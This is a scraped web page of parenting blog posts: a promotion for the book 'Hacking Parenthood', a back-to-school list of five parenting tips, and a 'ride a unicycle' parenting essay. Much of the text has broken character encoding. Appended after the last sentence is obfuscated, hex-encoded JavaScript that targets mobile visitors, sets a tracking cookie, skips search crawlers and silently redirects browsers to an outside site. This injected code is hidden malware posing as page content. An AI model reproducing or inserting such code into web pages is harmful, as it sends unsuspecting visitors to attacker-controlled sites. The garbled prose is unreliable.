How Mantras Reduce the Stress of Parenting

Kimberley Moran is a parent, a former teacher, and an editor at We Are Teachers and We Are Parents. As a teacher, she found herself being asked question after question about parenting.

During conferences, she spent more time discussing parenting than student work. Even teachers would ask her what to tell the parents of their students. The more questions she was asked, the more she developed easy ways to talk about some of the most important aspects of parenthood.

In order to help parents remember what to remember, she coined the term Parent Mantras. “This will be your mantra,” she would say to them. “Begin at the end.”

After reading lots of the books in the hack learning series, she realized she wanted to write one about the kids in those classrooms and the parents they went home to at night. The result was her new book, Hacking Parenthood: 10 Mantras You Can Use Daily to Reduce the Stress of Parenting.

Available now

What Moran says about Parent Mantras

In this book, I’ve gathered 10 mantras for cutting out the stuff that doesn’t really make you a better parent, instead focusing on what you need to do in each moment to move your parenting strategy forward.

Each mantra shows you how to assess a situation and your child in it and then make a plan or use your intuition to help you and your child grow.

Mantras were created thousands of years ago by people in ancient India who understood that sound is a pathway to reaching enlightenment.

Mantras became medicinal sound formulas to calm the self.

I hope to help you use mantras to drown out the noise of the world a bit like sticking your fingers in your ears and shouting “La la la la, I can’t hear you!” These mantras should also help you hone in on what matters when things seem out of control.

When we decide on a mantra to guide our parenting, the simple act of repetition takes us beyond our everyday boundaries and allows for our mantra to seep into who we are as a parent.

We create an intention behind our actions. We strengthen an extremely powerful tool, our voice. When we commit to the act of using mantras in every aspect of our parenting, we are staying in touch with our deepest desire about who we want our children to be.

It allows us to release, relax and surrender to our parenting intention.

I really do use every one of these mantras to help me in my parenting. I love them because they aren’t judgmental. I get to decide what I’m going to do, but my mantras help me focus and be consistent.

This is the key to good parenting I think. If one of these doesn’t work for you, let it go. Being flexible is also a great parenting skill.

Download the Mantras

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Want to buy an advance copy of Hacking Parenthood? Click here

5 Parenting Ideas to Make the School Year a Positive Experience for All

In August of 1978, I was ten years old. My new uniforms, crisp white shirts, and brown loafers sat in the closet waiting to be worn.

I mustai??i??ve checked my bag 500 times to be sure my list documenting the 42 or so books Iai??i??d read over the summer was ready.

My mother had allowed me to buy the new Chocolate Soup Swedish messenger bag Iai??i??d been coveting, a dozen yellow number 2s, and a composition notebook.

I had no idea who my teacher would be; Iai??i??d find out when I arrived at school.

Fast forward to August of 2017, nearly 40 years later.

My kids barely read this summer, so there wasnai??i??t much point in documentation.

They say they like their summer clothes for the first day of school and that their old LL Bean backpacks still seem new. They already know who their teachers will be. The excitement, it seems, is nonexistent.

But, really, for me, there is this pressure. Each school year seems to bring with it a shift in parenting responsibilities and my childrenai??i??s needs.

So this year, Iai??i??ve armed myself with this:

5 ideas to make the new year a positive experience for all of us

1 – Donai??i??t be disappointed

My kids do not do things the way I want them to be done. There Iai??i??ve said it and now, as my therapist has promised, I can let it go.

If I know they will want to do school their way, I will not be disappointed when they donai??i??t come home thrilled that they get to read a book every week and write about it. But that wonai??i??t stop me from hoping theyai??i??ll let me read the books with them.

2 – Buy exactly whatai??i??s on the required supply list

I will not hem and haw this year over every single item on that list, wondering if it will last the year. Remembering that many of the items I purchase will be lost or destroyed. My kids donai??i??t need to have the prettiest, best school supplies on the block. No one will notice. For real.

3 – Make a list of morning tasks

There has never been a morning when my kids have woken up on their own, gotten dressed, brushed their teeth, come down to breakfast, and had an already packed backpack by the door.

This year will be different! I have purchased alarm clocks for both kids and taken the time to make a checklist with them that covers all morning tasks. The list will be in their bedrooms and in the kitchen, mostly so they donai??i??t complain every time I ask them to check the list and they remember itai??i??s still upstairs.

4- Model what youai??i??d like to see

I am a model of an active learner and an organized person. I remind my kids to go after their curiosities and to think about making lists.

This year, I will not do that stuff for them so that they will start to do it for themselves. I want them to feel the joy of discovering that they can take care of themselves and ask questions to make things more clear.

5 – Have gratitude for life

I will remember to be grateful for the kids I am allowed to raise each day. Through the bickering and hysteria, I want to remember their quirky personalities that made me laugh all summer. Iai??i??m also hoping to take the time to point out the things I see that they might enjoy.

Childhood memories affect us like no other memories. Mine may be of books and reading and shiny loafers, but they are no more or less important than the memories my children will have of different things that they will deem important enough to share with their college roommates and potential life partners.

And letai??i??s not forget our parenthood memories. We have the power to make them feel great or always feel like we missed the mark.

You be you and let them be them.

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Ride a Unicycle: A Mantra for Mastering Parenthood

If youai??i??re reading this, youai??i??re probably already a parent, or about to be one, or know someone who is. Congratulations. Parenthood is the hardest job of all because the responsibilities keep changing without letting you know.

So there really isnai??i??t one specific year that will test you the most because just when you think youai??i??ve figured out how you want to manage your responsibilities, the kid youai??i??re planning for changes again.


Yes, seriously, but youai??i??re lucky because there will be no shortage of advice to help you. And, because so many other people are also parents, lots of the parenthood advice will make sense and even work which is awesome.

Itai??i??s easy to pick one set of strategies and just go with it — use that one book or website as your Bible (so to speak) and refer to it often.

click image to learn more

Just like your first bicycle, itai??i??s thrilling to finally have something that takes you where you want to go faster than you could before.

Thereai??i??s a bit of a catch here though.

The difference with parenting over any other position with roles and responsibilities is that much of the work youai??i??re expected to do is done in isolation and by the seat of your pants.

Much of the advice youai??i??ll get will begin with ai???If your child does this, you should….ai??? Great, but whenAi??your child doesnai??i??t do “this,” you donai??i??t have the playbook.

Itai??i??s frustrating for sure, but you can be very successful if you learn how to ride a unicycle.

Riding a Unicycle

There is a natural progression that happens in the cycling world. First, there is a tricycle which is a cycle with three wheels.

The tricycle balances well, thank you two rear wheels. The tricycle has pedals to help it go faster which is fun, but your feet can always rest on the ground to make it stop which is nice when you need to feel in control.

Next, a person generally moves into a bicycle. This two wheeled cycle requires balance and some instructions, but is pretty easily mastered by anyone with decent gross motor skills.

And that, is where most people stop, but not the unicyclist. The unicyclist is a person with a drive to master complex skills independently.

Unicycles started as a circus act, but quickly gained the attention of ordinary people who wanted to feel the thrill of independently balancing on one wheel to accomplish what needs to be done.

It is this feeling of capability that you need to find as a parent so that you can pass it on to your child. It is impossible to teach someone how to ride a unicycle by explaining it or sharing written instructions. A person must experience unicycling alone which makes its mastery a confidence builder. Riding a unicycle will require trust, patience, and support. You must be willing to develop these three characteristics. If you learn more than this along the way, you can only get better at parenting. It is in modeling how to ride a unicycle yourself that will show your child how to ride his own unicycle.

But beware, riding a unicycle will not seem normal to many other people.

They will tell you it isnai??i??t necessary and, of course, they are right. Bicycles are everywhere and are much easier to ride, but you want to make the most of this one crazy ride donai??i??t you?

Look out for Potholes

For a bicyclist, bumps and potholes are troublesome, but not disastrous. For a unicyclist, bumps and potholes can feel like the end of the trip. There will be lots of people out there who are bumps and potholes, including your own children and especially your own parents.

These will be the same people who donai??i??t understand why youai??i??d bother to take on the complex difficult job of learning to unicycle when your perfectly nice bicycle is sitting right in the garage.

You must learn how to be like the spokes of a wheel when these bumps and potholes are in sight. Let the comments flow through the spokes and out the other side as you keep on pedaling your unicycle.


Learn how

You know itai??i??s going to be tough, you didnai??i??t take it on because it seemed easy, but it still might be hard.

There will be many times you will want to put your unicycle in the basement and let it gather dust. Donai??i??t.

I promise you that the complex path yields results that bring lasting joy and confidence in who you are as a parent and how your children turn out.

Here are some common bumps and potholes that you will encounter. Try to recognize them for what they are and use your body to lean away from them.

Navigate these Unicycle Potholes

Your Own Parents.Ai??Your parents are potholes because you love them no matter how poor their judgement may have been when you were growing up. Their way is so familiar that it may seem comfortable to do what was done with you. In fact, their parenting might have been perfect for you and thatai??i??s why they can be the pothole that stops you from doing whatai??i??s right for your child. Parenthood can be tricky this way.

Your BFFs.Ai?? You love your best friends and their kids are incredible, so it makes sense that you want to use the same methods they are using. This is where you have to keep in mind that they are different from you and their children are different from yours. You need to do what works well for you and your child not mimic someone else and hope for the best.

Your Neighbors. Sometimes we do things differently because other people are watching. We all do that, am I right? Iai??i??ve been known to yell at my kids to be quiet because other people were shaking their heads at their behavior even though my kids hadnai??i??t been bothering me a bit. So, it might happen, but keep your eyes open to avoid this bump when you can.

Your Childai??i??s Teachers.Ai?? These amazing people will know a different child than the one who lives with you. The way they manage to get your child to do something will have little to no bearing on how you will get your child to do something. Be grateful that theyai??i??ve figured out their own keys to parenthood and cycle merrily away knowing you do it the way you need to.

trust your parenting

Click the image to learn how

Random Strangers. These challenges will appear frequently when your children are very young which makes them dangerous. You havenai??i??t quite figured out how to balance.

Youai??i??re still developing your parenting strategies and random strangers have a way of saying things that stay with you for, like, ever. Think of random stranger comments as gravel. Itai??i??s everywhere and you must learn to look straight ahead and focus on yourself.

ParenthoodAi??Experts. You must even be careful of people like me and everyone else who writes about parenting because, after all, Iai??i??ve already told you that unicycling canai??i??t be taught. So if we follow through with my metaphor, parenting canai??i??t really be taught either. Trust yourself, listen to how others have done it, and take only parenting advice what works for you.

Be especially careful when attending storytime at the library, sporting events where your children are competing, and restaurants.

These are the places where your unicycle will have the most trouble.

Storytime mothers will gasp when you plop a pacifier in your childai??i??s mouth, your seat will start to come loose when you donai??i??t yell at your child for not making a goal, and your wheel will bump into table after table in that crowded restaurant.

click the image to learn more about Mantras

When in doubt, stay home where you can be in control and gather your bearings before heading back out again. No one ever regretted quiet time with their children at home over grilled cheese sandwiches and tomato soup.

Use an always-updated GPS

There are cool tools to use when you are a parent. Some books and apps are going to seem like the straight path to perfection. They will work, until they donai??i??t. Unless youai??i??ve been there, this is one of those things youai??i??re going to have to trust me on.

When I first moved to the town I live in now, I used my GPS to get everywhere. I was all, who needs to remember directions or landmarks? Not me! Until my GPS wanted me to take a left into a statue. I was so angry. ai???Thereai??i??s a statue here!ai??? I yelled and shook my fist at the GPS on my phone.

Then, I turned around, thought about where I was, and drove myself to the place I needed to go.

Tools are great, but donai??i??t expect them to do your job.

In this same vein, donai??i??t harbor resentments against the bumps and potholes that get in your way. They all mean well. No one is out there trying to make your parenthood fail. It might have worked for them or they might have heard that it could.

Click image to look inside

Listen, maybe even try some things out, but keep your balance. Use the three pillars of trust, support, and patience to grow your confidence.

Riding a unicycle might sound like an outrageous and ridiculous idea when there are so many perfectly usable bicycles lying around at your disposal, but youai??i??ll be psyched once you've tried it.

Because nothing about parenthood says cool more than the parent who rides her unicycle into school to pick up her kid at the end of the day.

Well, maybe donai??i??t do that. It doesnai??i??t seem that cool now that I write it down.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}